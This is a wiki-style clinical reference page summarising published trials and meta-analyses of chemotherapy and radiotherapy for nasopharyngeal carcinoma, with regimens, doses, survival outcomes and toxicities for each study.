*Because concurrent chemo-RT results in reasonable local control, but adjuvant chemo has not resulted in good systemic control, efforts are underway to try induction -&gt; concurrent chemo-RT. Several Phase II trials have reported encouraging results in patients with significant N disease


*'''Meta-analysis; 2006''' {{PMID|16377415}} -- &quot;Chemotherapy in locally advanced nasopharyngeal carcinoma: an individual patient data meta-analysis of eight randomized trials and 1753 patients.&quot; (Baujat B, Int J Radiat Oncol Biol Phys. 2006 Jan 1;64(1):47-56.)
**8 trials, 1753 patients (concurrent: INT 0099, PWH-QEH Hong Kong, QMH Hong Kong, induction: PWH Hong Kong, AOCOA, VUMCA, Hokkaido, adjuvant: Taiwan). Individual updated patient data. Median F/U 6 years
**Outcome: Addition of chemo absolute survival benefit of 6% at 5 years (56% to 62%), absolute EFS benefit of 10% (42% to 52%)
**Significant interaction between timing of chemo and OS; highest benefit from concurrent chemo
**Conclusion: Chemotherapy has small but significant benefit for OS and EFS, seen when administered concomitantly

*'''Meta-analysis; 2002''' - {{PMID|12040275}} &amp;mdash; &quot;Combined chemoradiation versus radiation therapy alone in locally advanced nasopharyngeal carcinoma: results of a meta-analysis of 1,528 patients from six randomized trials.&quot; (Huncharek M et al. Am J Clin Oncol. 2002 Jun;25(3):219-23.) 
**6 trials, 1528 patients (concurrent: INT 0099; induction: Hong Kong, Guangzhou, AOCOA, VUMCA; adjuvant: Italian). Chemoradiation vs radiation alone in locally advanced patients, either adjuvantly, neoadjuvantly, or concurrently. 
**Outcome: DFS/PFS improved 2 years 37%, 3 years 40%, 4 years 34%. OS improved 2 years 20% (NS), 3 years 19% (NS), 4 years 21% (SS) 
**Conclusion: Addition of chemotherapy improves DFS/PFS and OS  


===Concurrent chemo-RT vs RT alone===
*'''Hong Kong NPC-9902 (T-disease)''' (1999-2004)
**Randomized, 2x2 design. ''Closed early due to slow accrual''. 189 patients, WHO grade II-III, Stage T3-4N0-1 (AJCC-5)(key problem locoregional failure; see companion trial NPC-9901).  Arm 1) conventional RT alone vs. Arm 2) accelerated RT vs. Arm 3) conventional RT + concurrent chemo vs. Arm 4) accelerated RT + concurrent chemo. Conventional RT &gt;=66 in 2 Gy/fx, 5 days/week. Accelerated same regimen but 6 days/week. Technique 2D or 3D-CRT or IMRT boost. Concurrent chemo cisplatin 100 mg/m2 q3 weeks, adjuvant chemo cisplatin 80 mg/m2 + 5-FU 1000 mg/m2
**'''3-years; 2006''' {{PMID|16904519}} -- &quot;Preliminary results of a randomized study (NPC-9902 Trial) on therapeutic gain by concurrent chemotherapy and/or accelerated fractionation for locally advanced nasopharyngeal carcinoma.&quot; (Lee AW, Int J Radiat Oncol Biol Phys. 2006 Sep 1;66(1):142-51.). Median F/U 2.9 years
***Outcome: 3-year FFS RT 70%, AFRT 63%, chemo-RT 74%, chemo-AFRT 94% (SS). On multivariate analysis, concurrent chemo significant, accelerated RT not significant. OS 83%, 73%, 87%, 88% (NS)
***Toxicity Grade 3-5: Acute: RT 55%, AFRT 70%, chemo-RT 83%, chemo-AFRT 86% (concurrent chemo SS worse). Late: 17%, 21%, 27%, 32% (chemo-AFRT borderline p=0.05 worse). Most late toxicity otologic.
***Conclusion: Preliminary, concurrent chemo with accelerated fractionation could significantly improve local tumor control

*'''Hong Kong NPC-9901 (N-disease)''' (1999-2004) 
**Randomized. 348 patients, WHO grade II-III, T1-4N2-N3 (AJCC-5)(key problem distant failure; see companion trial NPC-9902). Arm 1) RT alone vs. Arm 2) RT + concurrent cisplatin 100 mg/m2 q3 weeks. RT &gt;= 66 Gy (2D, 3D-CRT or IMRT)
**'''3-years; 2005''' {{PMID|16192584}} -- &quot;Preliminary results of a randomized study on therapeutic gain by concurrent chemotherapy for regionally-advanced nasopharyngeal carcinoma: NPC-9901 Trial by the Hong Kong Nasopharyngeal Cancer Study Group.&quot; (Lee AW, J Clin Oncol. 2005 Oct 1;23(28):6966-75.) Median F/U 2.3 years
***Outcome: DFS chemo-RT 72% vs. RT alone 62% (SS), LRC 92% vs. 82% (SS), DM 76% vs. 73% (NS), OS 78% vs. 78% (NS)
***Toxicity: acute chemo-RT 84% vs. RT alone 53% (SS); late 28% vs. 13% (SS), most late toxicity otologic
***Conclusion: Preliminary, significant benefit for tumor control at the cost of higher toxicity. No early OS benefit

*'''Singapore SQNP01''' (1997-2003)
**Randomized. 221 patients, WHO II-III, T3-4 or N2-3 (AJCC-5). Arm 1) RT alone vs. Arm 2) RT + concurrent cisplatin 100 mg/m2 q3 weeks + adjuvant cisplatin 80 mg/m2 + 5-FU 1000 mg/m2 x3 cycles. RT technique 70 Gy primary, 60 Gy neck + 10 Gy electron boost to lymph nodes. 71% patients received all 3 cycles of concurrent chemo
**'''3-years; 2005''' {{PMID|16170180}} -- &quot;Randomized trial of radiotherapy versus concurrent chemoradiotherapy followed by adjuvant chemotherapy in patients with American Joint Committee on Cancer/International Union against cancer stage III and IV nasopharyngeal cancer of the endemic variety.&quot; (Wee J, J Clin Oncol. 2005 Sep 20;23(27):6730-8.) Median F/U 3.2 years
***Outcome: 3-year DFS chemo-RT 72% vs. RT 53% (SS); OS 80% vs. 65% (SS); 2-year DM chemo-RT 13% vs. RT alone 30% (SS)
***Toxicity: Grade 3-5 in 48%, mucositis chemo-RT 48% vs. RT 32% (SS), anorexia 22% vs. 4% (SS), emesis 5% vs. 0% (SS). Also significant hematologic toxicity
***Conclusion: Confirmation of INT 0099 results; also applicable in endemic NPC

*'''Queen Mary Hospital,''' Hong Kong (1995-2001)
**Randomized, 2x2 design (concurrent chemo vs. none, adjuvant chemo vs. none). Ho's Stage T3 or N2-3 or LN &gt;=4 cm (AJCC 6th II-IV). Arm 1) RT alone vs. Arm 2) concurrent chemo-RT vs. Arm 3) RT + adjuvant chemo vs. Arm 4) concurrent chemo-RT + adjuvant RT. Concurrent chemo was FU prodrug uracil/tegafur, adjuvant chemo was cisplatin/5-FU and vincristine/bleomycin/MTX x3+3 cycles. RT 1995-1997 62.5/25 split course with 1 week break; 1997-2001 68/34 primary and 66/33 neck. If parapharyngeal extension or residual disease, 10 Gy boost
**'''3-years; 2004''' {{PMID|15226332}} -- &quot;Concurrent and adjuvant chemotherapy for nasopharyngeal carcinoma: a factorial study.&quot; (Kwong DL, J Clin Oncol. 2004 Jul 1;22(13):2643-53.)
***Outcome: 3-year concurrent CRT vs. RT alone FFS 69% vs. 58% (NS), OS 86% vs. 77% (p=0.06), LRC 80% vs. 72% (NS), DM 15% vs. 29% (SS). 3-year adjuvant chemo vs. none FFS 62% vs. 65% (NS), OS 80% vs. 83% (NS), no difference on LRC or DM.
***Conclusion: Trend to improvement with concurrent chemo-RT over RT alone (p=0.06), no benefit to adjuvant chemo

*'''Prince of Wales Hospital / Queen Elizabeth Hospital,''' Hong Kong (1994-1999)
**Randomized. 350 patients, Ho's Stage N2-3 or N1 with LN &gt;=4 cm (AJCC-6 Stage II-IVB). Arm 1) RT with concurrent cisplatin 40 mg/m2 q week vs. Arm 2) RT alone. RT 66 Gy, parapharyngeal boost 10-20 Gy allowed. Primary end point PFS
**'''2-years; 2002''' {{PMID|11956263}} -- &quot;Concurrent chemotherapy-radiotherapy compared with radiotherapy alone in locoregionally advanced nasopharyngeal carcinoma: progression-free survival analysis of a phase III randomized trial.&quot; (Chan AT, J Clin Oncol. 2002 Apr 15;20(8):2038-44.) Median F/U 2.7 years
***Outcome: 2-year PFS chemo-RT 76% vs. RT alone 69% (NS). Subgroup analysis benefit for Ho's T3
***Conclusion: Concurrent chemo-RT well tolerated, but no benefit
**'''5-years; 2005''' {{PMID|15812080}} -- &quot;Overall survival after concurrent cisplatin-radiotherapy compared with radiotherapy alone in locoregionally advanced nasopharyngeal carcinoma.&quot; (Chan AT, J Natl Cancer Inst. 2005 Apr 6;97(7):536-9.) Median F/U 5.5 years
***Outcome: 5-year OS chemo-RT 70% vs. RT 59% (p=0.07). Subgroup analysis no benefit for T1-2, but benefit for T3-4 (HR 0.51)
***Conclusion: Trend for survival benefit; promising treatment strategy

*'''Taiwan''' (1993-1999)
**Randomized. 284 patients, NPC Stage III-IV M0, histology WHO I (3%), WHO II (73%), WHO III (24%). Arm 1) RT 70-74 Gy alone vs. Arm 2) concurrent cisplatin 20 mg/m2 + 5-FU 400 mg/m2 during week 1 and 5. RT: CTV = GTV+2cm, included entire base of skull, sphenoid sinus, 2cm beyond mastoid process, posterior half of maxillary sinus/nasal cavity. Dose 70-74 Gy primary tumor and LN+, 50-60 Gy N0 neck. Chemo completed by 94% patients
**'''5-years; 2003''' {{PMID|12586799}} -- &quot;Phase III study of concurrent chemoradiotherapy versus radiotherapy alone for advanced nasopharyngeal carcinoma: positive effect on overall and progression-free survival.&quot; (Lin JC, J Clin Oncol. 2003 Feb 15;21(4):631-7.). Median F/U 5.4 years
***5-year outcome: PFS RT alone 53% vs. chemo-RT 72% (SS); OS 54% vs. 72% (SS)
***Toxicity Grade 3-4: mucositis 35% vs. 45%, skin 26% vs. 35%
***Conclusion: Concurrent chemo-RT superior to RT alone for advanced NPC
**'''Re-analysis; 2004''' {{PMID|15337551}} -- &quot;Another way to estimate outcome of advanced nasopharyngeal carcinoma--is concurrent chemoradiotherapy adequate?&quot; (Lin JC, Int J Radiat Oncol Biol Phys. 2004 Sep 1;60(1):156-64.)
***Original (AJCC 1992) stage: Stage III 20%, Stage IV 80%. Restaged (AJCC 1997): Stage II/III 71%, Stage IV 29%. New risk definition: high-risk (LN &gt;6cm or SCV LN or AJCC 1992 T4N2 or multiple LN mets with 1 LN &gt;4cm) 42% vs. low-risk 58%
***Low-risk group (chemo-RT vs. RT): LC 95% vs. 77% (SS), neck control 100% vs. 96% (NS), DM 90% vs. 78% (SS), PFS 87% vs. 61% (SS), OS 83% vs. 60% (SS). Chemo-RT significantly better
***High-risk group (chemo-RT vs. RT): LC 75% vs. 68% (NS), neck control 92% vs. 87% (NS), DM 60% vs. 60% (NS), PFS 44% vs. 43% (NS), OS 56% vs. 46% (NS). No difference with concurrent chemo
***Conclusion: Concurrent chemo-RT superior for low-risk patients, but inadequate for high-risk patients

*'''NYU; 2000''' (1995-1997) - {{PMID|10863053}} &amp;mdash; &quot;Improved outcome secondary to concurrent chemoradiotherapy for advanced carcinoma of the nasopharynx: preliminary corroboration of the intergroup experience.&quot; (Cooper JS et al. Int J Radiat Oncol Biol Phys. 2000 Jul 1;47(4):861-6.)
**Retrospective single institution. Repeated regimen of Intergroup 0099. Stage III-IV.
**Outcome: 3-year OS was 93% and DFS was 65%; both substantially better than historical controls
**Conclusion: INT 0099 regimen should be standard of care

*'''Intergroup 0099 / RTOG 88-17''' (1989-1995)
**Randomized. ''Trial stopped early due to significant survival benefit.'' 147 patients. NPC Stage III-IV (Stage IV 91%; but also included few N1 patients, which are IIB today), histology WHO I (25%), WHO II (35%), WHO III (41%). Arm 1) RT 70 Gy alone vs RT 70 Gy with concurrent cisplatin 100 mg/m2 q3 weeks and adjuvant cisplatin + 5-Fu . CT-based treatment planning. Fields: included 2 cm margin on gross disease and included entire base of skull and sphenoid sinus, 2 cm posterior to mastoid process; anteriorly included posterior 1/3 of maxillary sinus and nasal cavity. Dose: 70 Gy to primary. For neck to clavicle, 50 Gy for N0 disease, 66 Gy for nodes &lt;= 2 cm, and 70 Gy for nodes &gt; 2 cm. Cisplatin given every 3 weeks at 100 mg/m2 x 3 cycles. Then adjuvant chemo began 4 weeks after finishing RT: cisplatin 80 mg/m2 and 5-FU 1000 mg/m2/d by 96-hr infusion q4w x 3 cycles. Partial or radical neck dissections for persistent neck disease. Chemo completed by 55% 
**'''1998''' {{PMID|9552031}} - &quot;Chemoradiotherapy versus radiotherapy in patients with advanced nasopharyngeal cancer: phase III randomized Intergroup study 0099.&quot; Al-Sarraf et al. J Clin Oncol. 1998 Apr;16(4):1310-7. Median F/U 2.7 years
***3-year outcome: PFS chemo-RT 69% vs. RT alone 24% (SS); OS 78% vs 47% (SS). Median OS not reached for chemo-RT vs. 2.5 years for RT alone. 
***Toxicity Grade 3-4: stomatitis 29% vs. 19%, nausea 14% vs. 5%, leukopenia 23% vs. 1%
***Conclusion: Concurrent chemo-RT superior to RT alone for advanced NPC
**Comment: First randomized trial to show a survival benefit for the use of concurrent chemo, unexpectedly low RT alone outcome (several retrospective series showed &gt;70% OS with RT alone in endemic patients), RT technique considered less aggressive than that practiced in Asia (particularly lack of parapharyngeal and intracavitary boost), not applicable to non-US patients

*'''RTOG 81-17''' (1981-1984) 
**Phase II. 124 patients, locally advanced inoperable H&amp;N cancer (oropharynx 39%, &lt;u&gt;nasopharynx 22%&lt;/u&gt;, oral cavity 18%, hypopharynx 7%, larynx 7%, sinuses 7%). Stage III 18%, Stage IV 82%. Concurrent RT 66-73.8 Gy with cisplatin 100 mg/m2 q3 weeks. 60% completed planned treatment
**'''Overall; 1987''' {{PMID|3802013}} -- &quot;Concurrent radiotherapy and chemotherapy with cisplatin in inoperable squamous cell carcinoma of the head and neck. An RTOG Study.&quot; (Al-Sarraf M, Cancer. 1987 Jan 15;59(2):259-65.)
***Severe toxicity: stomatitis 31%, leukopenia 11%, anemia 8%, N/V 6%
***Outcome: 1-year DFS 51%, OS 66%. Nasopharynx CR 82%
***Conclusion: Concurrent cisplatin effective and safe in advanced H&amp;N
**'''NPC Subset; 1990''' {{PMID|2199621}} -- &quot;Chemo-radiotherapy in patients with locally advanced nasopharyngeal carcinoma: a radiation therapy oncology group study.&quot; (Al-Sarraf M, J Clin Oncol. 1990 Aug;8(8):1342-51.)
***Subset analysis, 27 NPC patients, 96% Stage IV, 67% poorly differentiated. All patients received &gt;64.5 Gy. Median F/U 1.5 years
***Severe toxicity: stomatitis 41%, xerostomia 15%
***Outcome: 4-year DFS 45%, OS 55%
***Conclusion: Chemo-RT in NPC effective, should be evaluated in phase III

===Concurrent RT with biologics===
*'''Beijing Hospital, China''' (2001-2003) -- RT +/- recombinant adenovirus-p53
**Randomized. 82 patients with NPC. Arm 1) RT 70/35 alone vs. Arm 2) RT + recombinant adenovirus-p53 (rAd-p53) injected intratumorally QW x8
**'''2008''' {{PMID|19103729}} -- &quot;Effect of Recombinant Adenovirus-p53 Combined With Radiotherapy on Long-Term Prognosis of Advanced Nasopharyngeal Carcinoma.&quot; (Pan JJ, J Clin Oncol. 2008 Dec 22. [Epub ahead of print]) Median F/U 5.1 years
***Outcome: p53 mRNA detected in 94% postinjection biopsies, with upregulation of p21 and Bax. 5-year LRF RT 28% vs RT + rAd-p53 3% (SS); 5-year DFS 57% vs. 67% (NS); 5-year OS 59% vs. 67% (NS)
***Toxicity: Transient fever after rAd-p53 administration
***Conclusion: rAd-p53 was safe and biologically active, and improves tumor control and survival rate

===Sequential Chemo and RT vs. RT alone===
*'''Pooled long-term AOCOA/Guangzhou data'''
**Pooled data from 2 similar PIII trials comparing induction chemo-&gt;RT vs. RT alone. 784 patients. Induction cisplatin, bleomycin, 5-FU or cisplatin, epirubicin. RT 70 Gy. Median F/U 5.6 years
**'''5-years; 2005''' {{PMID|15657403}} -- &quot;Long-term survival after cisplatin-based induction chemotherapy and radiotherapy for nasopharyngeal carcinoma: a pooled data analysis of two phase III trials.&quot; (Chua DT, J Clin Oncol. 2005 Feb 20;23(6):1118-24.)
***Outcome: 5-year DFS induction chemo 63% vs. RT 58% (SS), OS 62% vs. 58% (NS). LRF decreased by 18%, DM decreased by 13%, but no significant difference in failure patterns
***Conclusion: Induction chemo-RT modest decrease in DFS, but no impact on OS. Concurrent chemo-RT should remain standard of care
**'''Early Stage NPC; 2006''' {{PMID|16750333}} -- &quot;Improvement of survival after addition of induction chemotherapy to radiotherapy in patients with early-stage nasopharyngeal carcinoma: Subgroup analysis of two Phase III trials.&quot; (Chua DT, Int J Radiat Oncol Biol Phys. 2006 Aug 1;65(5):1300-6. Epub 2006 Jun 5.)
***Subset analysis. AJCC 1997 Staging. Group 1 (T1-2N0-1, was entirely IIB) vs. Group 2 (T1-2N2-3) vs. Group 3 (T3-4N0-1) vs. Group 4 (T3-4N2-3). 
***Outcome: no difference in LRC, DM, or OS for Groups 2-4. Group 1 5-year OS induction chemo 79% vs. RT alone 67% (p=0.048), DM 86% vs. 74% (SS)
***Conclusion: Group 1 (T1-2N0-1; all IIB) relatively poor survival due to mets, improved with induction chemo. No benefit for induction in Groups 2-4

*'''Guangzhou''' (1993-1994) - cisplatin, 5-FU, bleomycin
**Randomized. 456 patients. Chinese stage III-IV M0. Arm 1) RT alone vs. Arm 2) Neoadjuvant cisplatin 100 mg/m2, bleomycin 10 mg/m2, and 5-FU 800 mg/m2 x2-3 cycles, followed by RT within 2 weeks. RT 68-72 Gy primary tumor, involved neck 60-62 Gy, uninvolved neck 60 Gy. If residual tumor after RT, could boost 10-14 Gy EBRT or 20-24 Gy HDR in 4-5 fractions
**'''5-years; 2001''' {{PMID|11230478}} -- &quot;Results of a prospective randomized trial comparing neoadjuvant chemotherapy plus radiotherapy with radiotherapy alone in patients with locoregionally advanced nasopharyngeal carcinoma.&quot; (Ma J, J Clin Oncol. 2001 Mar 1;19(5):1350-7.)
***Outcome: 5-year OS induction chemo 63% vs. RT alone 56% (NS); RFS 59% vs. 49% (SS); LRC 82% vs. 74% (p=0.05); no difference on DM
***Conclusion: No survival benefit for induction chemotherapy

*'''Hokkaido RTOG''' (1991-1998) -- cisplatin, 5-FU
**Randomized. 80 patients. Stage I-IV M0. Arm 1) RT alone vs. Arm 2) Neoadjuvant cisplatin 80 mg/m2, 5-FU 800 mg/m2 q3 weeks x2 cycles. RT 66-68 Gy to primary tumor and LN+, 50 Gy to negative LNs
**'''5-years; 2002''' {{PMID|12001120}} -- &quot;A prospective, randomized trial comparing neoadjuvant chemotherapy with radiotherapy alone in patients with advanced nasopharyngeal carcinoma.&quot; (Hareyama M, Cancer. 2002 Apr 15;94(8):2217-23.). Median F/U 4.1 years
***Outcome: 5-year OS induction chemo 60% vs. RT alone 48% (NS); DFS 55% vs. 43% (NS). No difference in LRC; most patients experienced LR failure before DM failure
***Conclusion: Neoadjuvant chemo didn't improve DFS or OS

*'''Asian-Oceanic Clinical Oncology Association (AOCOA)''' (1989-1993) --  cisplatin, epirubicin
**Randomized. 286 patients. Ho's staging T3 or N2-N3 disease or LN+ &gt;= 3cm. Arm 1) neoadjuvant cisplatin 60 mg/m2 + epirubicin 110 mg/m2 x2-3 cycles followed by RT vs. Arm 2) RT alone. RT dose 66-74 Gy (median 71 Gy) to primary tumor, 60-76 Gy (median 66 Gy) to neck.
**'''3-years; 1998''' {{PMID|9840526}} -- &quot;Preliminary report of the Asian-Oceanian Clinical Oncology Association randomized trial comparing cisplatin and epirubicin followed by radiotherapy versus radiotherapy alone in the treatment of patients with locoregionally advanced nasopharyngeal carcinoma. Asian-Oceanian Clinical Oncology Association Nasopharynx Cancer Study Group.&quot; (Chua DT, Cancer. 1998 Dec 1;83(11):2270-83.). Median F/U 2.5 years
***Outcome: 3-year RFS induction chemo 48% vs. RT 42% (NS); OS 78% vs. 71% (NS)
***Conclusion: No benefit for induction chemo

*'''International Nasopharynx Cancer Study Group: VUMCA I''' (1989-1993) -- cisplatin, epirubicin, bleomycin
**Randomized. 339 patients. Undifferentiated carcinoma (WHO 2 or 3), any T stage, N2-3, M0. Arm 1) RT 70 Gy alone vs. Arm 2) induction [[Radiation_Oncology/Chemotherapy_combinations|BEC]] (bleomycin, epirubicin, cisplatinum) q3 weeks x 3 cycles followed by RT.
**'''1996''' {{PMID|8655368}} &amp;mdash; &quot;Preliminary results of a randomized trial comparing neoadjuvant chemotherapy (cisplatin, epirubicin, bleomycin) plus radiotherapy vs. radiotherapy alone in stage IV(&gt; or = N2, M0) undifferentiated nasopharyngeal carcinoma: a positive effect on progression-free survival.&quot; (No Authors, Int J Radiat Oncol Biol Phys. 1996 Jun 1;35(3):463-9.) Median F/U 4.1 years
***Toxicity: treatment-related deaths RT alone 1% vs chemo-&gt;RT 8%
***Outcome: 2-year DFS RT alone 40% vs. chemo-&gt;RT 60% (per graph), no difference in LRC. No difference in OS.
***Conclusion: BEC chemotherapy improves DFS, no impact on OS

*'''Prince of Wales Hospital PWH-88,''' Hong Kong (1988-1991) -- cisplatin, 5-FU
**Randomized. 82 patients. Ho's classification N3 or LN+ &gt;4 cm. Arm 1) Neoadjuvant cisplatin 100 mg/m2 + 5-FU 1000 mg/m2, 4 weeks later RT 66 Gy with lower neck to 58 Gy, then 4 cycles of adjuvant chemo vs. Arm 2) RT alone. Could boost residual disease after RT to 18-24 Gy in 3 fractions with Ir-192 HDR
**'''2-years; 1995''' {{PMID|7558945}} &amp;mdash; &quot;A prospective randomized study of chemotherapy adjunctive to definitive radiotherapy in advanced nasopharyngeal carcinoma.&quot; (Chan AT, Int J Radiat Oncol Biol Phys. 1995 Oct 15;33(3):569-77.) Median F/U 2.4 years
***Outcome: 2-year DFS chemo-RT 68% vs. RT alone 72% (NS); OS 80% vs. 80% (NS); no difference in LRC, DM, or time-to-relapse
***Conclusion: No benefit for sequential chemo-RT

==Induction chemo plus chemo-RT vs primary chemo-RT==
*'''China; 2016 ('''2011-13) -- &quot;Induction chemotherapy plus concurrent chemoradiotherapy versus concurrent chemoradiotherapy alone in locoregionally advanced nasopharyngeal carcinoma: a phase 3, multicentre, randomised controlled trial.&quot; (Lancet Oncology - Sun)
**Phase 3, multicenter
**Stage III-IVB NPX cancer randomized to CRT with cisplatin +/- induction chemotherapy with TPF
**3 year FFS (primary endpt) induction 80% vs. none 72% (SS)
**3 year OS induction 92% vs 86% (SS)
*'''Prince of Wales, Hong Kong; 2009''' (2002-2004) {{PMID|19064973}} -- &quot;Randomized phase II trial of concurrent cisplatin-radiotherapy with or without neoadjuvant docetaxel and cisplatin in advanced nasopharyngeal carcinoma.&quot; (Hui EP, J Clin Oncol. 2009 Jan 10;27(2):242-9. Epub 2008 Dec 8.)
**Randomized Phase II. 65 patients, Stage III-IVB NPC. Arm 1) Neoadjuvant docetaxel 75 mg/m2 + cisplatin 75 mg/m2 Q3W x2 cycles, followed by concurrent cisplatin 40 mg/m2 with RT vs Arm 2) Chemo-RT alone
**Outcome: 3-year PFS neoadjuvant 88% vs control 59% (HR 0.49, NS), 3-year OS 94% vs 68% (HR 0.24, SS)
**Conclusion: Neoadjuvant chemo followed by chemo-RT well tolerated with positive impact on survival

===Adjuvant chemo after RT===
*'''Queen Mary Hospital''' (Hong Kong)(1995-2001)
**Randomized, 2x2 design (concurrent chemo vs. none, adjuvant chemo vs. none). Ho's Stage T3 or N2-3 or LN &gt;=4 cm (AJCC 6th II-IV). Arm 1) RT alone vs. Arm 2) concurrent chemo-RT vs. Arm 3) RT + adjuvant chemo vs. Arm 4) concurrent chemo-RT + adjuvant RT. Concurrent chemo was FU prodrug uracil/tegafur, adjuvant chemo was cisplatin/5-FU and vincristine/bleomycin/MTX x3+3 cycles. RT 1995-1997 62.5/25 split course with 1 week break; 1997-2001 68/34 primary and 66/33 neck. If parapharyngeal extension or residual disease, 10 Gy boost
**'''3-years; 2004''' {{PMID|15226332}} -- &quot;Concurrent and adjuvant chemotherapy for nasopharyngeal carcinoma: a factorial study.&quot; (Kwong DL, J Clin Oncol. 2004 Jul 1;22(13):2643-53.)
***Outcome: 3-year concurrent CRT vs. RT alone FFS 69% vs. 58% (NS), OS 86% vs. 77% (p=0.06), LRC 80% vs. 72% (NS), DM 15% vs. 29% (SS). 3-year adjuvant chemo vs. none FFS 62% vs. 65% (NS), OS 80% vs. 83% (NS), no difference on LRC or DM.
***Conclusion: Trend to improvement with concurrent chemo-RT over RT alone (p=0.06), no benefit to adjuvant chemo

*'''Taiwan COG''' (1994-1999) -- observation vs. cisplatin/5-FU/leucovorin
**Randomized. 154 patients. Stage IV M0 (AJCC 1992). Arm 1) RT 70-72 Gy vs. Arm 2) weekly cisplatin 20 mg/m2, 5-FU 2200 mg/m2, leucovorin 120 mg/m2 x9 weeks
**'''5-years; 2002''' {{PMID|11955734}} -- &quot;A phase III study of adjuvant chemotherapy in advanced nasopharyngeal carcinoma patients.&quot; (Chi KH, Int J Radiat Oncol Biol Phys. 2002 Apr 1;52(5):1238-44.) Median F/U 4.1 years
***Outcome: 5-year OS RT alone 60% vs. adjuvant chemo 50% (NS), RFS 54% vs. 54% (NS)
***Toxicity: No Grade 3+ mucositis; Grade 3+ leukopenia 2%
***Conclusion: Adjuvant chemo after RT offers no benefit for OS or RFS

*'''Italian NRC''' (1979-83) -- observation vs. vincristine/cyclophosphamide/adriamycin
**Randomized. 229 NPC patients, T1N1-T4N3. Complete remission after RT , then Arm 1) observation vs. Arm 2) [[Radiation_Oncology/Chemotherapy_combinations|VCA]] (vincristine, cyclophosphamide, adriamycin) x 6 monthly cycles. RT 60-70 Gy to primary tumor, base of skull, and involved nodes, negative LN 50 Gy (frequently split course over 8-10 weeks)
**'''4-years; 1988''' {{PMID|3047335}} &amp;mdash; &quot;Adjuvant chemotherapy with vincristine, cyclophosphamide, and doxorubicin after radiotherapy in local-regional nasopharyngeal cancer: results of a 4-year multicenter randomized study.&quot; (Rossi A et al. J Clin Oncol. 1988 Sep;6(9):1401-10.)
***Outcome: 4-year RFS observation 56% vs. chemo 58% (NS), no difference in OS; Similar pattern of failure with distant mets in about 50% who failed.
***Toxicity: mild to moderate in most patients
***Conclusion: No benefit for adjuvant VCA chemo
***Comment: more patients at low risk for distant failure; less active chemo combination

==Dose Escalation==
*'''Queen Mary Hospital; 2006''' (Hong Kong)(2000-2004) {{PMID|16213105}} -- &quot;Preliminary results of radiation dose escalation for locally advanced nasopharyngeal carcinoma.&quot; (Kwong DL, Int J Radiat Oncol Biol Phys. 2006 Feb 1;64(2):374-81. Epub 2005 Oct 5.)
**Retrospective. 50 patients, T3-T4 NPC (Stage III 28%, Stage IVA/B 72%). RT dose: GTV 76 Gy (whole NP, tumor extending outside NP, skull-base erosions, intracranial disease), PTV 70 Gy, enlarged LNs 72 Gy, all given in 35 fractions. 34 patients concurrent cisplatin (initial 11 were RT only to establish safety, subsequent patients offered INT 0099 protocol). Median F/U 2.1 years
**Outcome: 2-year LRC 96%, DM-free 94%, DFS 93%, OS 92%. 4 recurrences: 2 LR and 2 DM. All patients with recurrence did not have chemo. 
**Toxicity: 1 treatment-related death from adjuvant chemo; 2 late carotid pseudoaneurysms with torrential epistaxis
**Conclusion: Dose-escalation to 76 Gy combined with chemo is feasible in T3-T4 NPC


'''Brachytherapy boost'''
*'''Long Beach Memorial Hospital; 2000''' (1978-97) {{PMID|10889385}} -- &quot;Brachytherapy for primary and recurrent nasopharyngeal carcinoma: 20 years' experience at Long Beach Memorial.&quot; (Syed AM, Int J Radiat Oncol Biol Phys. 2000 Jul 15;47(5):1311-21.)
**Retrospective. 56 patients (primary n=15, recurrent/persistent n=34, NPC with prior H&amp;N RT n=7). A wide variety of treatments described.
**Conclusion: Interstitial brachytherapy can be effective

==Technique==
*'''RTOG 0225''' (2003-2005) [http://www.rtog.org/members/protocols/0225/0225.pdf Protocol] {{PMID|19564532}} -- &quot;Intensity-Modulated Radiation Therapy With or Without Chemotherapy for Nasopharyngeal Carcinoma: Radiation Therapy Oncology Group Phase II Trial 0225.&quot; (Lee N, J Clin Oncol. 2009 Jun 29. [Epub ahead of print])
**Phase II. Multi-institutional IMRT use. 68 patients, Stage I-IVb NPC (94% WHO type 2-3). IMRT 70/33; if T2b+ or N+ concurrent cisplatin, adjuvant cisplatin/5-FU. 
**Outcome: Prescribed IMRT given to 84%; prescribed chemo 65%. 2-year LC 93%, LRC 89%, DMFR 85%. 2-year PFS 93%, OS 80%
**Toxicity: Acute Grade 4 mucositis 4%; Late Grade 3 dysphagia 5%, xerostomia 3%. Long-term PEG-dependent 4%
**Conclusion: IMRT feasible in multi-institutional setting

==Reirradiation==
*'''Guangzhou; 2007''' (China)(1999-2005) {{PMID|17601682}} -- &quot;Outcome of fractionated stereotactic radiotherapy for 90 patients with locally persistent and recurrent nasopharyngeal carcinoma.&quot; (Wu SX, Int J Radiat Oncol Biol Phys. 2007 Nov 1;69(3):761-9.)
**Retrospective. 90 patients with persistent (n=34) or recurrent (n=56) treated with SRT. Median dose 18/3 or 48/6. Median F/U 1.7 years
**Outcome: 3-year PFS 55%, DSS 57%
**Toxicity: late complications 19%, 2 fatal hemorrhage
**Conclusion: SRT effective, lower risk than reported SRS


*'''Harvard; 1987'''  {{PMID|3597157}} &amp;mdash; &quot;Re-irradiation of recurrent nasopharyngeal carcinoma--treatment techniques and results.&quot; Wang CC et al.  Int J Radiat Oncol Biol Phys. 1987 Jul;13(7):953-6.


==Local Radiation in the setting of Metastatic Disease==
*Paradigms adding local radiation to chemotherapy are included in the NCCN guidelines due to the low rates of complete response with chemotherapy alone (~0-20%), the morbidity and mortality associated with local tumor progression in this region, and series showing long term survival in the setting of M1 NPCa.


*'''Sun Yat-Sen University, China''' {{PMID|32701129}} -- &quot;Efficacy and Safety of Locoregional Radiotherapy With Chemotherapy vs Chemotherapy Alone in De Novo Metastatic Nasopharyngeal Carcinoma: A Multicenter Phase 3 Randomized Clinical Trial&quot; (You R, JAMA Oncol. 2020 Sep 1;6(9):1345-1352. doi: 10.1001/jamaoncol.2020.1808.)
**Randomized. 126 patients with do novo metastatic nasopharyngeal carcinoma, with complete or partial response after 3 cycles of cisplatin/5-FU, received 6 cycles every 3 weeks total. Arm 1) observation vs Arm 2) IMRT 70 Gy in 25 fractions, started within 21 days. Trial stopped early due to imbalance in deaths. Median F/U 2.2 years.
**Outcome: 2-year OS chemo 55% vs chemo-RT 76% (SS). 
**Toxicity: No significant differences in hematologic or GI toxicity. Higher grade 3 dermatitis (8%), mucositis (34%), and xerostomia (7%)
**Conclusion: RT added to chemotherapy significantly improved overall survival, in chemotherapy-sensitive patients

